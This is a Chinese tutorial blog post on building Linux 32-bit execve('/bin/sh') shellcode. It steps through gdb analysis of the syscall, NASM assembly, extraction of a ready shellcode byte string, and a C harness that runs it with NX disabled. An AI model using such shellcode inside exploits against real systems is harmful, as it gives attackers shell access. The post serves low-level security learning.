0x00 介绍
Shellcode 是指经过精心设计的一串指令,一旦注入正在运行的应用程序中即可运行,常用于栈和基于堆的溢出。术语Shellcode意思指的便是用于启动一个命令Shell的已编写好的可执行代码。
0x01 预写c调用程序
在linux中以C编写程序调用"/bin/sh"。
#include "unistd.h"
#include "stdio.h"
char * buff[] = {"/bin/sh", NULL};
void main(){
execve("/bin/sh", buff, NULL);
}
以execve开启一个bash进程,调用路径为/bin/sh。
注:/bin/sh是一个指向dash的符号链接,实际运行的也是dash程序,dash即移植到linux的bash,比bash更小也更快。[#!/bin/bash和#!/bin/sh是什么意思以及区别]
0x02 gdb调试
以gdb打开编译好的文件,我调试的文件的为32-bit的,在64-bit中可以在gcc加上参数-m32即可编译为32-bit elf文件。(gcc-multilib)
图中 1 处调用execve函数,通过plt表调用,而 2 处栈中已将参数压入,分别为程序路径、参数数组、环境变量数组(此处为NULL)。
接着跟进,找到execve是怎么调用的:
可以看到在0xf7e8b68d处赋予eax值0xb,0xb(11)为execve的系统调用号。下一步执行到系统调用中断(call dword ptr gs:0x10)时,ebx指向的是“/bin/sh”字符串,ecx指向的是{“/bin/sh”,NULL}数组,edx为0。于是execve在32位linux系统中的参数传递方式为“参数1->ebx;参数2->ecx;参数3->edx”。
call *%gs:0x10
call will __kernel_vsyscall
32位的中断调用可采用int 80;而64位可采用syscall。
elf32函数系统调用号查看方式:cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep execve
64位查看:cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve
0x03 编写汇编代码
最终只有一个目的,就是使得参数存入寄存器,然后系统调用。
section .text
global _start
_start:
xor eax, eax
push eax ; 字符串结尾 ==> NULL
push "//sh" ; '/bin//sh'
push "/bin"
mov ebx,esp ; '/bin//sh' address
push eax ; push 0
push ebx
mov ecx,esp ; array of argvs
xor edx,edx ; edx = 0
mov al,0x0b ; call execve
int 80h
编译:nasm -f elf32 -o test32 ./call_execve.asm
链接:ld -m elf_i386 -o atest ./test32
执行:
执行成功!
然后提取shellcode,objdump -d atest:
Shellcode:"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
然后用C代码测试shellcode是否可用。
#include "unistd.h"
#include "stdio.h"
void main(){
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
(*(void(*)())shellcode)();
}
其中的(*(void(*)())shellcode)();
也可替换成((void(*)())shellcode)();
,测试之后没有问题。在网上查找资料之后发现数据指针的*value
操作符是取value地址下的数据,而在函数指针中*value
则是将eip移至value地址处进行执行,而比如平时写程序的函数func();func也指向一个函数存储的位置,但是缺省了*
。
编译并执行:gcc -z execstack -m32 -o ssssss shellcode_run_execve.c
成功运行,但是得加上 -z execstack
关闭NX,因为shellcode作为局部变量存于栈上。
0x04 总结
这是新的尝试,收获良多,计算机底层知识很重要。
0x05 参考文章
手把手简易实现shellcode及详解